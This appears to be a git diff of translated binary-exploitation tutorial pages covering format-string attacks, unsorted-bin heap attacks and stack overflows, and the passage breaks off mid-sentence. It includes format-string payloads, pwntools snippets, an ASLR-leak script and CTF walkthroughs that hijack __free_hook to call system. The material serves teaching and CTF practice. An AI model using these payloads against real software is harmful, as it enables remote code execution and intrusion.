diff --git a/src/binary-exploitation/format-strings/README.md b/src/binary-exploitation/format-strings/README.md index b852b0731..dfb5346b3 100644 --- a/src/binary-exploitation/format-strings/README.md +++ b/src/binary-exploitation/format-strings/README.md @@ -1,17 +1,17 @@ -# Cadenas de formato +# Format Strings {{#include ../../banners/hacktricks-training.md}} ## Información básica -En C **`printf`** es una función que puede usarse para **imprimir** una cadena. El **primer parámetro** que esta función espera es el **texto crudo con los formateadores**. Los **parámetros siguientes** esperados son los **valores** para **sustituir** los **formateadores** del texto crudo. +En C **`printf`** es una función que puede usarse para **imprimir** una cadena. El **primer parámetro** que espera esta función es el **texto crudo con los especificadores de formato**. Los **parámetros siguientes** que se esperan son los **valores** para **sustituir** los **especificadores de formato** del texto crudo. Otras funciones vulnerables son **`sprintf()`** y **`fprintf()`**. -La vulnerabilidad aparece cuando un **texto controlado por el atacante se usa como el primer argumento** de esta función. El atacante podrá elaborar una **entrada especial abusando** de las **capacidades de formato de printf** para leer y **escribir cualquier dato en cualquier dirección (legible/escribible)**. De este modo será posible **ejecutar código arbitrario**. +La vulnerabilidad aparece cuando un **texto del atacante se usa como primer argumento** de esta función. El atacante podrá crear una **entrada especial abusando** de las capacidades de la **cadena de formato de printf** para leer y **escribir cualquier dato en cualquier dirección (legible/escribible)**. De este modo podrá **ejecutar código arbitrario**. -#### Especificadores de formato: +#### Especificadores: ```bash %08x —> 8 hex bytes %d —> Entire @@ -54,7 +54,7 @@ return 0; ``` ### **Accediendo a punteros** -El formato **`%$x`**, donde `n` es un número, permite indicar a printf que seleccione el parámetro n (de la pila). Entonces, si quieres leer el cuarto parámetro de la pila usando printf podrías hacer: +El formato **`%$x`**, donde `n` es un número, permite indicarle a printf que seleccione el parámetro n (desde la stack). Así que si quieres leer el 4º parámetro de la stack usando printf podrías hacer: ```c printf("%x %x %x %x") ``` @@ -66,14 +66,14 @@ printf("%4$x") ``` y leer directamente el cuarto. -Fíjate que el atacante controla el `printf` **parámetro, lo que básicamente significa que** su input va a estar en el stack cuando se llame a `printf`, lo que implica que podría escribir direcciones de memoria específicas en el stack. +Fíjate que el atacante controla el `printf` **parámetro, lo que básicamente significa que** su entrada estará en la stack cuando se llame a `printf`, por lo que podría escribir direcciones de memoria específicas en la stack. > [!CAUTION] -> Un atacante que controle este input, podrá **añadir direcciones arbitrarias en el stack y hacer que `printf` acceda a ellas**. En la siguiente sección se explicará cómo usar este comportamiento. +> Un atacante que controle esta entrada podrá **añadir direcciones arbitrarias en la stack y hacer que `printf` las acceda**. En la siguiente sección se explicará cómo usar este comportamiento. ## **Arbitrary Read** -Es posible usar el formateador **`%n$s`** para hacer que **`printf`** obtenga la **dirección** situada en la **posición n**, seguirla e **imprimirla como si fuera una cadena** (imprime hasta encontrar un 0x00). Así que si la dirección base del binario es **`0x8048000`**, y sabemos que la entrada del usuario comienza en la cuarta posición en el stack, es posible imprimir el inicio del binario con: +Es posible usar el formateador **`%n$s`** para hacer que **`printf`** obtenga la **dirección** situada en la **posición n**, seguirla y **imprimirla como si fuera una cadena** (imprime hasta que se encuentre un 0x00). Así que si la dirección base del binario es **`0x8048000`**, y sabemos que la entrada del usuario empieza en la cuarta posición en la stack, es posible imprimir el inicio del binario con: ```python from pwn import * @@ -87,11 +87,11 @@ p.sendline(payload) log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||' ``` > [!CAUTION] -> Ten en cuenta que no puedes poner la address 0x8048000 al principio del input porque la string será cat en 0x00 al final de esa address. +> Ten en cuenta que no puedes poner la dirección 0x8048000 al principio de la entrada porque la cadena se truncará en 0x00 al final de esa dirección. -### Encontrar offset +### Encontrar el offset -Para encontrar el offset de tu input puedes enviar 4 u 8 bytes (`0x41414141`) seguidos de **`%1$x`** e **incrementar** el valor hasta recuperar las `A's`. +Para encontrar el offset de tu entrada puedes enviar 4 u 8 bytes (`0x41414141`) seguidos de **`%1$x`** e **incrementar** el valor hasta recuperar las `A's`.
@@ -130,36 +130,36 @@ p.close() Arbitrary reads pueden ser útiles para: -- **Dump** el **binary** desde la memoria -- **Acceder** a partes específicas de la memoria donde se almacena **información** sensible (como canaries, claves de cifrado o contraseñas personalizadas como en este [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value)) +- **Dump** the **binary** de la memoria +- **Access specific parts of memory where sensitive** **info** se almacena (como canaries, encryption keys o custom passwords como en este [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value)) ## **Arbitrary Write** -El formateador `%$n` escribe el número de bytes escritos en la dirección indicada por el parámetro en el stack. Si un atacante puede escribir tantos caracteres como quiera con printf, podrá hacer que `%$n` escriba un número arbitrario en una dirección arbitraria. +El formateador **`%$n`** **escribe** el **número de bytes escritos** en la **dirección indicada** en el parámetro `` en la pila. Si un atacante puede escribir tantos caracteres como quiera con `printf`, podrá hacer que **`%$n`** escriba un número arbitrario en una dirección arbitraria. -Afortunadamente, para escribir el número 9999 no es necesario añadir 9999 "A"s en la entrada; por ello es posible usar el formateador `%.%$n` para escribir el número `` en la dirección apuntada por la posición `num`. +Afortunadamente, para escribir el número 9999 no es necesario añadir 9999 "A"s a la entrada; para ello es posible usar el formateador **`%.%$n`** para escribir el número **``** en la **dirección apuntada por la posición `num`**. ```bash AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param AAAA.%500\$08x —> Param at offset 500 ``` -Sin embargo, ten en cuenta que normalmente, para escribir una dirección como `0x08049724` (que es un número ENORME para escribir de una vez), **se usa `$hn`** en vez de `$n`. Esto permite **escribir sólo 2 Bytes**. Por lo tanto, esta operación se realiza dos veces: una para los 2B más altos de la address y otra para los más bajos. +Sin embargo, ten en cuenta que normalmente, para escribir una dirección como `0x08049724` (que es un número ENORME para escribir de golpe), **se usa `$hn`** en lugar de `$n`. Esto permite **escribir solo 2 Bytes**. Por lo tanto, esta operación se realiza dos veces: una para los 2B más altos de la dirección y otra para los 2B más bajos. Por tanto, esta vulnerabilidad permite **escribir cualquier cosa en cualquier dirección (arbitrary write).** -En este ejemplo, el objetivo va a ser **overwrite** la **address** de una **function** en la tabla **GOT** que será llamada más adelante. Aunque esto podría aprovechar otras arbitrary write to exec techniques: +En este ejemplo, el objetivo será **sobrescribir** la **dirección** de una **función** en la **GOT** que se llamará más adelante. Aunque esto podría aprovechar otras técnicas de arbitrary write to exec: {{#ref}} ../arbitrary-write-2-exec/ {{#endref}} -Vamos a **overwrite** una **function** que **recibe** sus **arguments** del **user** y la **point** hacia la **`system`** **function**.\ -Como se mencionó, para escribir la address normalmente se necesitan 2 pasos: primero **escribes 2Bytes** de la address y luego los otros 2. Para ello se usa **`$hn`**. +Vamos a **sobrescribir** una **función** que **recibe** sus **argumentos** del **usuario** y **apuntarla** a la función **`system`**.\ +Como se mencionó, para escribir la dirección suelen hacerse 2 pasos: primero escribes 2Bytes de la dirección y luego los otros 2. Para ello se usa **`$hn`**. -- A **HOB** se le llama a los 2 higher bytes de la address -- A **LOB** se le llama a los 2 lower bytes de la address +- **HOB** denomina a los 2 bytes más altos de la dirección +- **LOB** denomina a los 2 bytes más bajos de la dirección -Luego, debido a cómo funcionan las format string necesitas **escribir primero el más pequeño** de \[HOB, LOB] y luego el otro. +Luego, por cómo funciona format string debes **escribir primero el menor** de \[HOB, LOB] y luego el otro. Si HOB < LOB\ `[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]` @@ -173,7 +173,7 @@ python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + " ``` ### Plantilla de Pwntools -Puedes encontrar una **plantilla** para preparar un exploit para este tipo de vulnerabilidad en: +Puede encontrar una **plantilla** para preparar un exploit para este tipo de vulnerabilidad en: {{#ref}} @@ -203,23 +203,24 @@ p.interactive() Es posible abusar de las acciones de escritura de una format string vulnerability para **escribir en direcciones de la pila** y explotar una vulnerabilidad de tipo **buffer overflow**. + ## Windows x64: Format-string leak to bypass ASLR (no varargs) -En Windows x64 los primeros cuatro parámetros enteros/puntero se pasan en registros: RCX, RDX, R8, R9. En muchos call-sites vulnerables la cadena controlada por el atacante se usa como argumento de formato pero no se proporcionan argumentos variádicos, por ejemplo: +En Windows x64 los primeros cuatro parámetros enteros/puntero se pasan en registros: RCX, RDX, R8, R9. En muchos call-sites con bugs la cadena controlada por el atacante se usa como argumento de formato, pero no se proporcionan argumentos variádicos, por ejemplo: ```c // keyData is fully controlled by the client // _snprintf(dst, len, fmt, ...) _snprintf(keyStringBuffer, 0xff2, (char*)keyData); ``` -Porque no se pasan varargs, cualquier conversión como "%p", "%x", "%s" hará que el CRT lea el siguiente argumento variádico del registro correspondiente. Con la Microsoft x64 calling convention la primera lectura para "%p" proviene de R9. Cualquier valor transitorio que esté en R9 en el sitio de la llamada será impreso. En la práctica esto a menudo produce un leak de un puntero estable dentro del módulo (p. ej., un puntero a un objeto local/global previamente colocado en R9 por el código circundante o un callee-saved value), que puede usarse para recuperar la module base y derrotar ASLR. +Porque no se pasan varargs, cualquier conversión como "%p", "%x", "%s" hará que el CRT lea el siguiente variadic argument desde el registro correspondiente. Con la Microsoft x64 calling convention la primera lectura para "%p" proviene de R9. Cualquier valor transitorio que esté en R9 en el call-site será impreso. En la práctica esto a menudo leaks un puntero estable dentro del módulo (p. ej., un puntero a un objeto local/global previamente colocado en R9 por el código circundante o un callee-saved value), lo cual puede usarse para recuperar la module base y derrotar ASLR. Practical workflow: - Inyecta un formato inofensivo como "%p " al inicio de la cadena controlada por el atacante para que la primera conversión se ejecute antes de cualquier filtrado. -- Captura el leaked pointer, identifica el offset estático de ese objeto dentro del módulo (by reversing once with symbols or a local copy), y recupera el image base como `leak - known_offset`. -- Reutiliza esa base para calcular direcciones absolutas de ROP gadgets y IAT entries de forma remota. +- Captura el leaked pointer, identifica el offset estático de ese objeto dentro del módulo (revirtiendo una vez con símbolos o una copia local), y recupera la image base como `leak - known_offset`. +- Reutiliza esa base para calcular direcciones absolutas de ROP gadgets y entradas IAT de forma remota. -Example (abbreviated python): +Ejemplo (python abreviado): ```python from pwn import remote @@ -232,13 +233,13 @@ base = leaked - 0x20660 # module base = leak - offset print(hex(leaked), hex(base)) ``` Notas: -- El offset exacto a restar se encuentra una vez durante el reversing local y luego se reutiliza (mismo binary/version). -- Si "%p" no imprime un pointer válido en el primer intento, prueba otros specifiers ("%llx", "%s") o conversiones múltiples ("%p %p %p") para samplear otros argument registers/stack. -- Este patrón es específico de la Windows x64 calling convention y de las implementaciones de printf-family que fetch nonexistent varargs from registers cuando el format string los solicita. +- El exact offset a restar se encuentra una vez durante el reversing local y luego se reutiliza (same binary/version). +- Si "%p" no imprime un puntero válido en el primer intento, prueba otros specifiers ("%llx", "%s") o múltiples conversiones ("%p %p %p") para samplear otros argument registers/stack. +- Este patrón es específico de la Windows x64 calling convention y de las implementaciones printf-family que obtienen varargs inexistentes desde registers cuando el format string los solicita. Esta técnica es extremadamente útil para bootstrap ROP en servicios Windows compilados con ASLR y sin primitivas obvias de memory disclosure. -## Otros Examples & References +## Otros Ejemplos & Referencias - [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string) - [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4) @@ -248,10 +249,10 @@ Esta técnica es extremadamente útil para bootstrap ROP en servicios Windows co - [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html) - 32 bit, relro, no canary, nx, no pie, format string para sobrescribir la dirección `fflush` con la función win (ret2win) - [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html) -- 32 bit, relro, no canary, nx, no pie, format string para escribir una dirección dentro de main en `.fini_array` (así el flujo vuelve a entrar 1 vez más) y escribir la dirección de `system` en la tabla GOT apuntando a `strlen`. Cuando el flujo vuelve a main, `strlen` se ejecuta con input del usuario y, apuntando a `system`, ejecutará los comandos pasados. +- 32 bit, relro, no canary, nx, no pie, format string para escribir una dirección dentro de main en `.fini_array` (de modo que el flujo vuelva a ejecutarse 1 vez más) y escribir la dirección de `system` en la tabla GOT apuntando a `strlen`. Cuando el flujo vuelva a main, `strlen` se ejecutará con input del usuario y apuntando a `system`, ejecutará los comandos pasados. -## Referencias +## References - [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE)](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html) - [x64 calling convention (MSVC)](https://learn.microsoft.com/en-us/cpp/build/x64-calling-convention) diff --git a/src/binary-exploitation/libc-heap/unsorted-bin-attack.md b/src/binary-exploitation/libc-heap/unsorted-bin-attack.md index 02fa62f69..776cd639d 100644 --- a/src/binary-exploitation/libc-heap/unsorted-bin-attack.md +++ b/src/binary-exploitation/libc-heap/unsorted-bin-attack.md @@ -11,9 +11,9 @@ For more information about what is an unsorted bin check this page: bins-and-memory-allocations.md {{#endref}} -Unsorted lists are able to write the address to `unsorted_chunks (av)` in the `bk` address of the chunk. Therefore, if an attacker can **modify the address of the `bk` pointer** in a chunk inside the unsorted bin, he could be able to **write that address in an arbitrary address** which could be helpful to leak a Glibc addresses or bypass some defense. +Las listas unsorted pueden escribir la dirección de `unsorted_chunks (av)` en la dirección `bk` del chunk. Por lo tanto, si un atacante puede **modificar la dirección del puntero `bk`** en un chunk dentro del unsorted bin, podría ser capaz de **escribir esa dirección en una dirección arbitraria**, lo que puede ser útil para leak direcciones de Glibc o para eludir alguna defensa. -So, basically, this attack allows to **set a big number at an arbitrary address**. This big number is an address, which could be a heap address or a Glibc address. A traditional target was **`global_max_fast`** to allow to create fast bin bins with bigger sizes (and pass from an unsorted bin attack to a fast bin attack). +Así que, básicamente, este ataque permite **establecer un número grande en una dirección arbitraria**. Ese número grande es una dirección, que podría ser una dirección del heap o una dirección de Glibc. Un objetivo tradicional era **`global_max_fast`** para permitir crear fast bin bins con tamaños mayores (y pasar de un unsorted bin attack a un fast bin attack). - Modern note (glibc ≥ 2.39): `global_max_fast` became an 8‑bit global. Blindly writing a pointer there via an unsorted-bin write will clobber adjacent libc data and will not reliably raise the fastbin limit anymore. Prefer other targets or other primitives when running against glibc 2.39+. See "Modern constraints" below and consider combining with other techniques like a [large bin attack](large-bin-attack.md) or a [fast bin attack](fast-bin-attack.md) once you have a stable primitive. @@ -23,20 +23,20 @@ So, basically, this attack allows to **set a big number at an arbitrary address* > Therefore, this unsorted bin attack now (among other checks) also requires to be able to fix the doubled linked list so this is bypassed `victim->bk->fd == victim` or not `victim->fd == av (arena)`, which means that the address where we want to write must have the address of the fake chunk in its `fd` position and that the fake chunk `fd` is pointing to the arena. > [!CAUTION] -> Note that this attack corrupts the unsorted bin (hence small and large too). So we can only **use allocations from the fast bin now** (a more complex program might do other allocations and crash), and to trigger this we must **allocate the same size or the program will crash.** +> Ten en cuenta que este ataque corrompe el unsorted bin (y por tanto también small y large). Así que ahora solo podemos **usar asignaciones desde el fast bin** (un programa más complejo puede hacer otras asignaciones y crashear), y para desencadenarlo debemos **asignar del mismo tamaño o el programa crasheará.** > -> Note that overwriting **`global_max_fast`** might help in this case trusting that the fast bin will be able to take care of all the other allocations until the exploit is completed. +> Ten en cuenta que sobrescribir **`global_max_fast`** puede ayudar en este caso confiando en que el fast bin se encargará de todas las demás asignaciones hasta que el exploit se complete. -The code from [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) explains it very well, although if you modify the mallocs to allocate memory big enough so don't end in a Tcache you can see that the previously mentioned error appears preventing this technique: **`malloc(): unsorted double linked list corrupted`** +El código de [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) lo explica muy bien, aunque si modificas los mallocs para solicitar memoria lo bastante grande para no caer en Tcache puedes ver que aparece el error mencionado anteriormente y evita esta técnica: **`malloc(): unsorted double linked list corrupted`** -### Cómo ocurre la escritura +### How the write actually happens - The unsorted-bin write is triggered on `free` when the freed chunk is inserted at the head of the unsorted list. - During insertion, the allocator performs `bck = unsorted_chunks(av); fwd = bck->fd; victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim;` - If you can set `victim->bk` to `(mchunkptr)(TARGET - 0x10)` before calling `free(victim)`, the final statement will perform the write: `*(TARGET) = victim`. - Later, when the allocator processes the unsorted bin, integrity checks will verify (among other things) that `bck->fd == victim` and `victim->fd == unsorted_chunks(av)` before unlinking. Because the insertion already wrote `victim` into `bck->fd` (our `TARGET`), these checks can be satisfied if the write succeeded. -## Restricciones modernas (glibc ≥ 2.33) +## Modern constraints (glibc ≥ 2.33) To use unsorted‑bin writes reliably on current glibc: @@ -46,17 +46,17 @@ To use unsorted‑bin writes reliably on current glibc: - if the environment is controllable, disable tcache (e.g., GLIBC_TUNABLES glibc.malloc.tcache_count=0). - Integrity checks on the unsorted list: on the next allocation path that examines the unsorted bin, glibc checks (simplified): - `bck->fd == victim` and `victim->fd == unsorted_chunks(av)`; otherwise it aborts with `malloc(): unsorted double linked list corrupted`. -- This means the address you target must tolerate two writes: first `*(TARGET) = victim` at free‑time; later, as the chunk is removed, `*(TARGET) = unsorted_chunks(av)` (the allocator rewrites `bck->fd` back to the bin head). Choose targets where simply forcing a large non‑zero value is useful. -- Typical stable targets in modern exploits -- Application or global state that treats "large" values as flags/limits. -- Indirect primitives (e.g., set up for a subsequent [fast bin attack]({{#ref}}fast-bin-attack.md{{#endref}}) or to pivot a later write‐what‐where). -- Avoid `__malloc_hook`/`__free_hook` on new glibc: they were removed in 2.34. Avoid `global_max_fast` on ≥ 2.39 (see next note). -- About `global_max_fast` on recent glibc -- On glibc 2.39+, `global_max_fast` is an 8‑bit global. The classic trick of writing a heap pointer into it (to enlarge fastbins) no longer works cleanly and is likely to corrupt adjacent allocator state. Prefer other strategies. +- Esto significa que la dirección que apuntas debe tolerar dos escrituras: primero `*(TARGET) = victim` en el momento del free; después, cuando se elimina el chunk, `*(TARGET) = unsorted_chunks(av)` (el allocator reescribe `bck->fd` con la cabeza del bin). Elige objetivos donde forzar simplemente un valor grande no nulo sea útil. +- Objetivos típicos y estables en exploits modernos +- Estado de la aplicación o global que trate valores "grandes" como flags/límites. +- Primitivas indirectas (por ejemplo, preparar un subsecuente [fast bin attack]({{#ref}}fast-bin-attack.md{{#endref}}) o pivotar a una posterior escritura write‑what‑where). +- Evita `__malloc_hook`/`__free_hook` en versiones nuevas de glibc: fueron eliminados en 2.34. Evita `global_max_fast` en ≥ 2.39 (ver nota anterior). +- Sobre `global_max_fast` en glibc reciente +- En glibc 2.39+, `global_max_fast` es un global de 8 bits. El truco clásico de escribir un puntero del heap allí (para ampliar fastbins) ya no funciona bien y probablemente corrompa el estado adyacente del allocator. Prefiere otras estrategias. -## Receta mínima de explotación (glibc moderno) +## Minimal exploitation recipe (modern glibc) -Goal: achieve a single arbitrary write of a heap pointer to an arbitrary address using the unsorted‑bin insertion primitive, without crashing. +Objetivo: lograr una única escritura arbitraria de un puntero del heap a una dirección arbitraria usando la primitiva de inserción del unsorted‑bin, sin provocar un crash. - Layout/grooming - Allocate A, B, C with sizes large enough to bypass tcache (e.g., 0x5000). C prevents consolidation with the top chunk. @@ -80,33 +80,33 @@ void *C = malloc(0x5000); // guard free(B); // triggers *(TARGET) = B (unsorted-bin insertion write) ``` > [!NOTE] -> • Si no puedes bypassear tcache por tamaño, llena el tcache bin para el tamaño elegido (7 frees) antes de liberar el chunk corrompido para que el free vaya a unsorted. -> • Si el programa aborta inmediatamente en la siguiente allocation debido a unsorted-bin checks, reexamina que `victim->fd` siga siendo igual al bin head y que tu `TARGET` contenga el puntero exacto a `victim` tras la primera escritura. +> • Si no puedes bypassear tcache por el tamaño, llena la tcache bin para el tamaño elegido (7 frees) antes de liberar el chunk corrompido para que el free vaya a unsorted. +> • Si el programa aborta inmediatamente en la siguiente asignación debido a las comprobaciones de unsorted-bin, reexamina que `victim->fd` siga igual al bin head y que tu `TARGET` mantenga el puntero exacto `victim` después del primer write. ## Unsorted Bin Infoleak Attack -Este es en realidad un concepto muy básico. Los chunks en el unsorted bin van a tener punteros. El primer chunk en el unsorted bin tendrá en realidad los enlaces **`fd`** y **`bk`** **apuntando a una parte del main arena (Glibc)**.\ -Por lo tanto, si puedes **colocar un chunk dentro de un unsorted bin y leerlo** (use after free) o **alocarlo de nuevo sin sobrescribir al menos 1 de los punteros** para luego **leerlo**, puedes obtener un **Glibc info leak**. +This is actually a very basic concept. The chunks in the unsorted bin are going to have pointers. The first chunk in the unsorted bin will actually have the **`fd`** and the **`bk`** links **pointing to a part of the main arena (Glibc)**.\ +Therefore, if you can **put a chunk inside a unsorted bin and read it** (use after free) or **allocate it again without overwriting at least 1 of the pointers** to then **read** it, you can have a **Glibc info leak**. -Un [**ataque similar usado en este writeup**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html) consistió en abusar de una estructura de 4 chunks (A, B, C y D - D solo para evitar consolidación con el top chunk) de modo que un null byte overflow en B se usó para hacer que C indicara que B estaba libre. Además, en B se modificó el dato `prev_size` para que el tamaño en lugar de ser el de B fuera A+B.\ -Luego C fue liberado y consolidado con A+B (pero B seguía in use). Se alocó un nuevo chunk de tamaño A y entonces las direcciones libc filtradas se escribieron en B desde donde fueron leakadas. +A similar [**attack used in this writeup**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html), was to abuse a 4 chunks structure (A, B, C and D - D is only to prevent consolidation with top chunk) so a null byte overflow in B was used to make C indicate that B was unused. Also, in B the `prev_size` data was modified so the size instead of being the size of B was A+B.\ +Then C was deallocated, and consolidated with A+B (but B was still in used). A new chunk of size A was allocated and then the libc leaked addresses was written into B from where they were leaked. -## Referencias y otros ejemplos +## References & Other examples - [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap) -- El objetivo es sobrescribir una variable global con un valor mayor a 4869 para poder obtener la flag y PIE no está habilitado. -- Es posible generar chunks de tamaños arbitrarios y hay un heap overflow con el tamaño deseado. -- El ataque empieza creando 3 chunks: chunk0 para abusar del overflow, chunk1 para ser overflowed y chunk2 para que el top chunk no consolide los anteriores. -- Luego, chunk1 se libera y chunk0 se desborda hasta donde apunta el `bk` de chunk1: `bk = magic - 0x10` -- Después, se aloca chunk3 con el mismo tamaño que chunk1, lo que disparará el unsorted bin attack y modificará el valor de la variable global, haciendo posible obtener la flag. +- The goal is to overwrite a global variable with a value greater than 4869 so it's possible to get the flag and PIE is not enabled. +- It's possible to generate chunks of arbitrary sizes and there is a heap overflow with the desired size. +- The attack starts creating 3 chunks: chunk0 to abuse the overflow, chunk1 to be overflowed and chunk2 so top chunk doesn't consolidate the previous ones. +- Then, chunk1 is freed and chunk0 is overflowed to the `bk` pointer of chunk1 points to: `bk = magic - 0x10` +- Then, chunk3 is allocated with the same size as chunk1, which will trigger the unsorted bin attack and will modify the value of the global variable, making possible to get the flag. - [**https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html**](https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html) -- La función merge es vulnerable porque si ambos índices pasados son el mismo, hará realloc sobre él y luego lo freeará devolviendo un puntero a esa región liberada que puede ser usada. -- Por tanto, **se crean 2 chunks**: **chunk0** que será merged consigo mismo y chunk1 para prevenir la consolidación con el top chunk. Luego, se llama a la función **merge con chunk0** dos veces, lo que causará un use after free. -- Después, se llama a la función **view** con el índice 2 (que es el índice del chunk con use after free), lo que **leakeará una dirección libc**. -- Como el binario tiene protecciones que solo permiten malloc de tamaños mayores a **`global_max_fast`** por lo que no se usan fastbin, se usa un unsorted bin attack para sobrescribir la variable global `global_max_fast`. -- Luego, es posible llamar a edit con el índice 2 (el puntero del use after free) y sobrescribir el puntero `bk` para que apunte a `p64(global_max_fast-0x10)`. Posteriormente, crear un nuevo chunk usará la dirección previamente comprometida (0x20) que **disparará el unsorted bin attack** sobrescribiendo `global_max_fast` con un valor muy grande, permitiendo ahora crear chunks en fast bins. -- Ahora se realiza un **fast bin attack**: -- Primero se descubre que es posible trabajar con fast **chunks de tamaño 200** en la ubicación de **`__free_hook`**: +- The merge function is vulnerable because if both indexes passed are the same one it'll realloc on it and then free it but returning a pointer to that freed region that can be used. +- Therefore, **2 chunks are created**: **chunk0** which will be merged with itself and chunk1 to prevent consolidating with the top chunk. Then, the **merge function is called with chunk0** twice which will cause a use after free. +- Then, the **`view`** function is called with index 2 (which the index of the use after free chunk), which will **leak a libc address**. +- As the binary has protections to only malloc sizes bigger than **`global_max_fast`** so no fastbin is used, an unsorted bin attack is going to be used to overwrite the global variable `global_max_fast`. +- Then, it's possible to call the edit function with the index 2 (the use after free pointer) and overwrite the `bk` pointer to point to `p64(global_max_fast-0x10)`. Then, creating a new chunk will use the previously compromised free address (0x20) will **trigger the unsorted bin attack** overwriting the `global_max_fast` which a very big value, allowing now to create chunks in fast bins. +- Now a **fast bin attack** is performed: +- First of all it's discovered that it's possible to work with fast **chunks of size 200** in the **`__free_hook`** location: - 
gef➤  p &__free_hook
 $1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
 gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
@@ -115,19 +115,21 @@ gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
 0x7ff1e9e6076f :      0x0000000000000000      0x0000000000000000
 0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000      0x0000000000000000
-- Si conseguimos un fast chunk de tamaño 0x200 en esa ubicación, será posible sobrescribir un puntero a función que se ejecutará. -- Para ello, se crea un nuevo chunk de tamaño `0xfc` y se llama a merged con ese puntero dos veces; de este modo se obtiene un puntero a un chunk liberado de tamaño `0xfc*2 = 0x1f8` en el fast bin. -- Después, se llama a edit en ese chunk para modificar la dirección **`fd`** de ese fast bin para que apunte al previo **`__free_hook`**. -- A continuación, se crea un chunk de tamaño `0x1f8` para recuperar del fast bin el chunk inútil anterior y luego se crea otro chunk de tamaño `0x1f8` para obtener un fast bin chunk en **`__free_hook`** que se sobrescribe con la dirección de la función **`system`**. -- Y finalmente, un chunk que contiene la cadena `/bin/sh\x00` es liberado llamando a la función delete, disparando **`__free_hook`** que apunta a system con `/bin/sh\x00` como parámetro. +- If we manage to get a fast chunk of size 0x200 in this location, it'll be possible to overwrite a function pointer that will be executed +- For this, a new chunk of size `0xfc` is created and the merged function is called with that pointer twice, this way we obtain a pointer to a freed chunk of size `0xfc*2 = 0x1f8` in the fast bin. +- Then, the edit function is called in this chunk to modify the **`fd`** address of this fast bin to point to the previous **`__free_hook`** function. +- Then, a chunk with size `0x1f8` is created to retrieve from the fast bin the previous useless chunk so another chunk of size `0x1f8` is created to get a fast bin chunk in the **`__free_hook`** which is overwritten with the address of **`system`** function. +- And finally a chunk containing the string `/bin/sh\x00` is freed calling the delete function, triggering the **`__free_hook`** function which points to system with `/bin/sh\x00` as parameter. - **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html) -- Otro ejemplo de abuso de un overflow de 1B para consolidar chunks en el unsorted bin y obtener un libc infoleak y luego realizar un fast bin attack para sobrescribir malloc hook con una one gadget address +- Another example of abusing a 1B overflow to consolidate chunks in the unsorted bin and get a libc infoleak and then perform a fast bin attack to overwrite malloc hook with a one gadget address - [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/) -- Solo podemos alocar chunks de tamaño mayor a `0x100`. -- Sobrescribir `global_max_fast` usando un Unsorted Bin attack (funciona 1/16 veces debido a ASLR, porque necesitamos modificar 12 bits, pero debemos modificar 16 bits). -- Fast Bin attack para modificar un arreglo global de chunks. Esto da un primitive de lectura/escritura arbitraria, lo que permite modificar la GOT y apuntar alguna función a `system`. +- We can only allocate chunks of size greater than `0x100`. +- Overwrite `global_max_fast` using an Unsorted Bin attack (works 1/16 times due to ASLR, because we need to modify 12 bits, but we must modify 16 bits). +- Fast Bin attack to modify the a global array of chunks. This gives an arbitrary read/write primitive, which allows to modify the GOT and set some function to point to `system`. -## Referencias + + +## References - Glibc malloc unsorted-bin integrity checks (example in 2.33 source): https://elixir.bootlin.com/glibc/glibc-2.33/source/malloc/malloc.c - `global_max_fast` and related definitions in modern glibc (2.39): https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c diff --git a/src/binary-exploitation/stack-overflow/README.md b/src/binary-exploitation/stack-overflow/README.md index 7846424b9..c1341ecda 100644 --- a/src/binary-exploitation/stack-overflow/README.md +++ b/src/binary-exploitation/stack-overflow/README.md @@ -4,13 +4,13 @@ ## ¿Qué es un Stack Overflow -Un **stack overflow** es una vulnerabilidad que ocurre cuando un programa escribe más datos en la stack de los que se le han asignado para almacenar. Este exceso de datos **sobrescribirá el espacio de memoria adyacente**, provocando la corrupción de datos válidos, la alteración del flujo de control y, potencialmente, la ejecución de código malicioso. Este problema suele surgir por el uso de funciones inseguras que no realizan comprobaciones de límites sobre la entrada. +Un **stack overflow** es una vulnerabilidad que ocurre cuando un programa escribe más datos en el stack de los que tiene asignados. Estos datos en exceso **sobrescribirán el espacio de memoria adyacente**, lo que conduce a la corrupción de datos válidos, la interrupción del flujo de control y, potencialmente, a la ejecución de 